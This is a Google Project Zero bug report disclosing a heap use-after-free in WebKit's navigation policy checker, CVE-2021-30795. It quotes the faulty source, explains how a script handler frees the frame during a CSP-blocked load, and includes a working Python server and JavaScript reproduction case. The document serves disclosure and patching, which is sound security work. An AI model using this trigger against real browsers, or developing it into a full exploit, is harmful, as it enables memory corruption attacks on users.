WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy
VULNERABILITY DETAILS
PolicyChecker.cpp:
```
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)
[...]
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)
{
[...]
if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {
if (m_frame.ownerElement()) {
// Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise
// reveal that the frame was blocked. This way, it looks like any other cross-origin page load.
m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));
}
RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");
function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);
return;
}
```
FrameLoader.cpp:
```
[...]
Optional<PageIdentifier> FrameLoader::pageID() const
{
return client().pageID();
}
```
FrameLoaderClient.h:
```
class WEBCORE_EXPORT FrameLoaderClient {
[...]
virtual Optional<PageIdentifier> pageID() const = 0;
virtual Optional<FrameIdentifier> frameID() const = 0;
}
```
`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.
REPRODUCTION CASE
Visit http://localhost:8000/
```
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
html_source = b'''
<body>
<script>
frame = document.createElement('iframe');
frame.onload = () => frame.remove();
frame.src = '/redirect';
document.body.appendChild(frame);
</script>
</body>
'''
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/redirect':
self.send_response(302)
self.send_header('Location', 'http://example.com/')
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Security-Policy', 'frame-src localhost:8000')
self.end_headers()
self.wfile.write(html_source)
HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()
```
VERSION
WebKit r277716
Safari 14.1 (16611.1.21.161.6)
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-08-24.
Related CVE Numbers: CVE-2021-30795.
Found by: glazunov@google.com
